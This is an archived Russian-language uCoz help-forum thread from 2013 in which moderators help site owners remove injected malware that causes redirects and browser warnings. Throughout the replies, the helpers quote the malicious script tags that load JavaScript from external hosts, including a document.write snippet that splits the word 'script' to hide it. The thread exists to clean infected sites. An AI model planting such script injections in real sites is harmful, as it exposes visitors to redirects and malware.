Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1741 | 12:26:13
Anri9566, у вас на сайте ещё остался вредоносный код. панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>
поле на что заменить оставляете пустым и производите замену во всех модулях. или вручную удаляете со всех шаблонов. код находится в самом низу сразу по футером перед закрывающими тегами боди и хтмл

Цитата
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script></body>

</html>

после очистки обязательно смените пароль uid профиля

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
ДЮСШ№1
Сообщений: 2
Репутация: 0

Сообщение # 1742 | 12:51:57
Здравствуйте, сайт [url=http://1sportivnaya.ucoz.ru,]http://1sportivnaya.ucoz.ru,[/url] является сайтом образовательного учреждения. При входе на сайт
пользователей перенаправляют на различные другие сайты (вымогатели,
порно и т.п). Как очистить сайт и какие нужно совершить действия, чтобы
впредь такого не было. Если можно, объясните для "чайников" .
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1743 | 12:57:49
ДЮСШ№1, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scsct.js"></script><script type="text/javascript" src="http://dl.dropbox.com/u/36053555/script.js"></script>
поле на что заменить оставляете пустым и производите замену во всех модулях

далее через быструю замену проделываете тоже самое со скриптом

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>


далее из содержимого блока с меню сайта удаляете скрипт

Код
<script language='javascript' type='text/javascript' src='http://numberia.com/93bypxy3fo968txaf24mc4yc4zt679x'></script>


после этого обязательно меняете пароль uid профиля, которым администрируете сайт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
reformator
Сообщений: 2034
Репутация: 534

Сообщение # 1744 | 12:59:18
ДЮСШ№1, осмелюсь предположить что проблема кроется в скриптах:

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scsct.js"></script><script type="text/javascript" src="http://dl.dropbox.com/u/36053555/script.js"></script>

roman911
Сообщений: 38
Репутация: 1

Сообщение # 1745 | 13:02:27
На сайте присутствует вредоносный код. Подскажите где. Спасибо.

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1746 | 13:05:37
roman911, сайт заблокирован доступ только администраторам

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
сondor
Сообщений: 4661
Репутация: 1528

Сообщение # 1747 | 13:07:26
Цитата (ДЮСШ№1)
При входе на сайт
пользователей перенаправляют на различные другие сайты (вымогатели,
порно и т.п).


ДЮСШ№1, еще вот это удалить:

Код
<script charset="windows-1251" type="text/javascript" language="javascript" src="http://oskale.ru/6s6pri6770qkmq6o6"></script>
<script charset="windows-1251" type="text/javascript" language="javascript" src="http://bormoni.ru/7uzjx7m8pcb79qhmtkq05pi1q?"></script>
<script charset="windows-1251" type="text/javascript" language="javascript" src="http://omirevovne.ru/7xrcerj60647pz309vfxhpi8u"></script>

<script charset="windows-1251" type="text/javascript" language="javascript" src="http://omirevovne.ru/8xseyayrk0q639lcl2y5uc6s6bing3qkj6185rcxw?&4g10hgd0=t89914307&50fi6r5gt3ej8d=http%3A//1sportivnaya.ucoz.ru/&2rt34=0&3jwgv=0&3tqfk=0&2ytxd=0&qwqerkfgu=1&qih8d5tnf=0&5jvvj29hhej=1&8jsh4ptj41sl07=0&4to44sgl=0&6pex428yfkb=0"></script>

<script async="" defer="" charset="UTF-8" type="text/javascript" src="http://myuniques.ru/164x4lre531aw13d6t5c1b9qbckf7n?fr=adzagl"></script>

<script type="text/javascript" charset="UTF-8" src="http://myuniques.ru/0rps3uvo0n0yt2q3bd3k10cv673z0x?f=kqktBM0V2GfUKE9h6IWgPLF7DyZlT5xQvjnbACcdJieSO&w=1600&h=900&c=32&if=&s=fr%3Dadzagl&r=&0.056750403018668294"></script>

<script src="http://registration.designerreplica.info/?657587=x47HwZXR39zQ2NrXwI6Bi4GKhw"></script>
<script src="http://registration.designerreplica.info/?704651=_7b_-a3p5-To4OLv-La5s7myvg"></script>
<script src="http://registration.designerreplica.info/?710104=rOWsqv66tLe7s7G8q-Xq4Orh7g"></script>
<script src="http://bear.contrabandevents.info/?718297=reStq_-7tba6srC9quTr4evg6w"></script>
<script src="http://bear.contrabandevents.info/?723861=4ajh57P3-fr2_vzx5qinraespg"></script>
<script language="javascript" type="text/javascript" src="http://omirevovne.ru/5xp7hcttwre6mo0jbilqms1af3d31nbp"></script>

<script src="http://clash.letstry.info/?375421=CUAJD1sfERIeFhQZDkBPSElPSg"></script>
<script src="http://clash.letstry.info/?386582=YitiZDB0enl1fX9yZSskIiUhIw"></script>
<script src="http://clash.letstry.info/?394982=ktuSlMCEiomFjY-CldvU0tXR0Q"></script>
<script src="http://like.park-studios.info/?451494=0pvS1IDEysnFzc_C1ZuUkpWRng"></script>
<script src="http://like.park-studios.info/?459907=97738aXh7-zg6Orn8L6xt7C0ug"></script>
roman911
Сообщений: 38
Репутация: 1

Сообщение # 1748 | 13:14:53
webanet, все порядок доступ открыт, гляньте в чем дело.

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1749 | 13:15:56
roman911, аккаунт заблокирован. доступ может открыть или тех.поддержка или абуза

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
ДЮСШ№1
Сообщений: 2
Репутация: 0

Сообщение # 1750 | 14:41:24
Цитата (webanet)
ДЮСШ№1, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт1
2
поле на что заменить оставляете пустым и производите замену во всех модулях

далее через быструю замену проделываете тоже самое со скриптом

1

далее из содержимого блока с меню сайта удаляете скрипт


Спасибо, скрипты удалила, теперь не могу с сайта поправить меню через конструктор.

Добавлено (28 Мар 2013, 14:41:24)
---------------------------------------------

Цитата (ДЮСШ№1)
Спасибо, скрипты удалила, теперь не могу с сайта поправить меню через конструкВВ
Всё разобралась.
pentagonus
Сообщений: 31
Репутация: -4

Сообщение # 1751 | 16:30:56
Добрый день -
При заходе на главную pentagonus.ru Хром выдаёт следующее "Google Chrome заблокировал доступ к этой странице на сайте pentagonus.ru.
На эту веб-страницу было вставлено содержание с mob-z.ru, известного распространителя вредоносного ПО. Ее посещение может привести к заражению вашего компьютера вредоносным ПО"
На остальных страницах вроде чисто
Пожалуйста помогите
сondor
Сообщений: 4661
Репутация: 1528

Сообщение # 1752 | 16:39:16
Цитата (pentagonus)
На эту веб-страницу было вставлено содержание с mob-z.ru, известного распространителя вредоносного ПО. Ее посещение может привести к заражению вашего компьютера вредоносным ПО"


В шаблоне удалить скрипт:

Код
<script type="text/javascript" src="http://mob-z.ru/js.php?redirect=http%3A//mob-z.ru/%3Fr%3D4283"></script>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1753 | 16:40:24
pentagonus, вредоносный код вставлен в код топ 100. ищите внизу страницы отхожее место в вашими счетчиками и рейтингами и там код Top100. выделенное красным удалить

Цитата
<!-- begin of Top100 code -->
<script id="top100Counter" type="text/javascript" src="http://counter.rambler.ru/top100.jcn?2599602"></script>
<noscript>
<a href="//u.to/0MciAw" title="http://top100.rambler.ru/navi/2599602/">
<img src="http://counter.rambler.ru/top100.cnt?2599602" alt="Rambler's Top100" border="0" />
</a>
<!--MirKa--><script type="text/javascript"><!--
var url = 'http://okosxdc.servebbs.net';
document.write('<sc' + 'ript language="JavaScript" ' +
'src="' + url + '/1099/88x31.jpg" border="0" width="88" height="31"></sc' +
'ript>')
//--></script><!--/MirKa-->

</noscript>
<script type="text/javascript" src="http://mob-z.ru/js.php?redirect=http%3A//mob-z.ru/%3Fr%3D4283"></script>
<!-- end of Top100 code -->


и проверьте второй код топа сто от рамблера с идом 2599602 у вас уже один стоит. второй вероятно полностью не ваш. если ай-ди счетчика не ваш, то удаляем полностью второй код Top100

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
pentagonus
Сообщений: 31
Репутация: -4

Сообщение # 1754 | 16:55:19
Спасибо большое - исчезло
Deus_EX
Сообщений: 39
Репутация: 1

Сообщение # 1755 | 19:13:40
Здравствуйте . извините если уже надоел. Прошу вашей помощи , вчера поставил шаблон а он весь в рекламе и вирусах. ну я что мог убрал а остольное найти не могу. Ls-mods.ru заранее спасибо)
Поиск: